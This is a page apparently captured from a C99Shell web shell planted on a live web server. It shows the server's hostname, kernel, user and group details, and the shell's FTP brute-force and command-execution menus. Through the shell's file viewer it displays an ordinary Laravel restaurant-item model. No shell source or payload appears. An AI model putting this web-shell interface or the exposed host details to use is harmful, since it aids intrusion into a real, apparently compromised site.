!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Items.php (11.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App;

use 
Akaunting\Money\Currency;
use 
Akaunting\Money\Money;
use 
App\Models\TranslateAwareModel;
use 
App\Models\Variants;
use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Database\Eloquent\SoftDeletes;
use 
Illuminate\Support\Str;

class 
Items extends TranslateAwareModel
{
    use 
SoftDeletes;
    public 
$translatable = ['name''description'];

    protected 
$table 'items';
    protected 
$appends = ['logom''icon''short_description'];
    protected 
$fillable = ['name''description''image''price','discounted_price''category_id''vat','enable_system_variants'];
    protected 
$imagePath '/uploads/restorants/';

    protected function 
getImge($imageValue$default$version '_large.jpg')
    {
        if (
$imageValue == '' || $imageValue == null) {
            
//No image
            
return $default;
        } else {
            if (
strpos($imageValue'http') !== false) {
                
//Have http
                
if (
                    
strpos($imageValue'.jpg') !== false || 
                    
strpos($imageValue'.jpeg') !== false || 
                    
strpos($imageValue'.png') !== false || 
                    
strpos($imageValue'api.tinify.com') !== false ||
                    
strpos($imageValue'amazonaws.com') !== false ||
                    
strpos($imageValue'googleapis.com') !== false  
                
) {
                    
//Has extension
                    
return $imageValue;
                } else {
                    
//No extension
                    
return $imageValue.$version;
                }
            } else {
                
//Local image
                
return (config('settings.image_store_location').$this->imagePath.$imageValue).$version;
            }
        }
    }

    public function 
substrwords($text$chars$end '...')
    {
        if (
strlen($text) > $chars && strpos($text" ") !== false) {
            
$text $text.' ';
            
$text substr($text0$chars);
            
$text substr($text0strrpos($text' '));
            
$text $text.'...';
        }

        return 
$text;
    }

    public function 
getLogomAttribute()
    {
        return 
$this->getImge($this->imageconfig('global.restorant_details_image'));
    }

    public function 
getIconAttribute()
    {
        return 
$this->getImge($this->imageconfig('global.restorant_details_image'), '_thumbnail.jpg');
    }

    public function 
getItempriceAttribute()
    {
        return  
Money($this->priceconfig('settings.cashier_currency'), config('settings.do_convertion'))->format();
    }

    public function 
getShortDescriptionAttribute()
    {
        return  
$this->substrwords($this->descriptionconfig('settings.chars_in_menu_list'));
    }

    public function 
category()
    {
        return 
$this->belongsTo(\App\Categories::class);
    }

    public function 
extras()
    {
        return 
$this->hasMany(\App\Extras::class, 'item_id''id');
    }

    public function 
options()
    {
        return 
$this->hasMany(\App\Models\Options::class, 'item_id''id');
    }

    public function 
variants()
    {
        return 
$this->hasMany(\App\Models\Variants::class, 'item_id''id')->whereNull('deleted_at');;
    }

    public function 
allergens()
    {
        return 
$this->belongsToMany(\App\Models\Allergens::class,'item_has_allergens','item_id''allergen_id');
    }


    public function 
systemvariants()
    {
        return 
$this->hasMany(\App\Models\Variants::class, 'item_id''id')->where('variants.is_system',1)->whereNull('deleted_at');
    }

    public function 
uservariants()
    {
        return 
$this->hasMany(\App\Models\Variants::class, 'item_id''id')->where('variants.is_system',0)->whereNull('deleted_at');;
    }

    public function 
makeAllMissingVariants($itemPrice){
        
//At this moment, all system variables, should be removed
        
        //The idea is to go over all the options to create the matrix
        
$optionsMatrix=[];
        foreach (
$this->options as $key => $option) {
            
$optionsMatrix[$option->id]=explode(','$option->options);
            foreach (
$optionsMatrix[$option->id] as $key => &$value) {
                
$value=["op_id"=>$option->id,"value"=>Str::slug($value'-'),'data'=>[]];
            }
        }

        
//Regular array
        
$regular=[];
        foreach (
$optionsMatrix as $key => $valuer) {
            
array_push($regular,$valuer);
        }
        for (
$i=sizeof($regular)-1$i>$i--) { 
           foreach (
$regular[$i-1] as $key => &$valueSE) {
                
$valueSE['data']=$regular[$i];
           }
        }

        
//Ok, now we have the matrix - 
       // print_r($regular);
        
$strings=[];
        if(
sizeof($regular)>0){
            foreach (
$regular[0] as $key => $valueM) {
                
$current=$this->converterKV($valueM);
                if(
count($valueM['data'])==0){
                    
array_push($strings,"{".$current."}");
                }else{
                    foreach (
$valueM['data'] as $key => $valueL) {
                        
$secondCurrent=$current.",".$this->converterKV($valueL);
                        if(
count($valueL['data'])==0){
                            
array_push($strings,"{".$secondCurrent."}");
                        }else{
                            foreach (
$valueL['data'] as $key => $valueK) {
                                
$thirdCurrent=$secondCurrent.",".$this->converterKV($valueK);
                                if(
count($valueK['data'])==0){
                                    
array_push($strings,"{".$thirdCurrent."}");
                                }else{
                                    foreach (
$valueK['data'] as $key => $valueJ) {
                                        
$forthCurrent=$thirdCurrent.",".$this->converterKV($valueJ);
                                        if(
count($valueJ['data'])==0){
                                            
array_push($strings,"{".$forthCurrent."}");
                                        }else{
                                            foreach (
$valueJ['data'] as $key => $valuH) {
                                                
$fifthCurrent=$forthCurrent.",".$this->converterKV($valuH);
                                                if(
count($valuH['data'])==0){
                                                    
array_push($strings,"{".$fifthCurrent."}");
                                                }else{
                                                    foreach (
$valuH['data'] as $key => $valuP) {
                                                        
$sixtCurrent=$fifthCurrent.",".$this->converterKV($valuP);
                                                        if(
count($valuP['data'])==0){
                                                            
array_push($strings,"{".$sixtCurrent."}");
                                                        }else{
                                                            foreach (
$valuP['data'] as $key => $valuO) {
                                                                
$seventCurrent=$sixtCurrent.",".$this->converterKV($valuO);
                                                                if(
count($valuO['data'])==0){
                                                                    
array_push($strings,"{".$seventCurrent."}");
                                                                }else{
                                                                    foreach (
$valuO['data'] as $key => $valuQ) {
                                                                        
$eightCurrent=$seventCurrent.",".$this->converterKV($valuQ);
                                                                        if(
count($valuQ['data'])==0){
                                                                            
array_push($strings,"{".$eightCurrent."}");
                                                                        }else{
                                                                            foreach (
$valuQ['data'] as $key => $valuW) {
                                                                                
$nineCurrent=$eightCurrent.",".$this->converterKV($valuW);
                                                                                if(
count($valuW['data'])==0){
                                                                                    
array_push($strings,"{".$nineCurrent."}");
                                                                                }else{
                                                                                    foreach (
$valuW['data'] as $key => $valueC) {
                                                                                        
$tenthCurrent=$nineCurrent.",".$this->converterKV($valueC);
                                                                                        if(
count($valueC['data'])==0){
                                                                                            
array_push($strings,"{".$tenthCurrent."}");
                                                                                        }
                                                                                    }
                                                                                }
                                                                            }
                                                                        }
                                                                        
                                                                    }
                                                                }
                                                            }
                                                        }
                                                        
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
        


        
//Now for each variant, l
        
foreach ($this->uservariants as $key => $variant) {
            if ((
$key array_search($variant->options$strings)) !== false) {
                unset(
$strings[$key]);
            }
        }

        
//Add the missing varaints
        
foreach ($strings as $key => $value) {
            
$variant Variants::create([
                
'price'=>$itemPrice,
                
'item_id'=>$this->id,
                
'options'=>$value,
                
'is_system'=>1,
            ]);
            
$variant->save();
        }
    }

    private function 
converterKV($value){
        return 
"\"".$value['op_id']."\"".":"."\"".$value['value']."\"";
    }

   
    public static function 
boot()
    {
        
parent::boot();
        
self::deleting(function ($model) {
            if (
$model->isForceDeleting()) {
               

                
//Delete Options
                
$model->options()->forceDelete();

                
//Deletee Variants
                
foreach ($model->variants()->get() as $key => $variant) {
                    
$variant->extras()->detach();
                }
                
$model->variants()->forceDelete();

                
//Delete extras
                
$model->extras()->forceDelete();
            }

            return 
true;
        });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--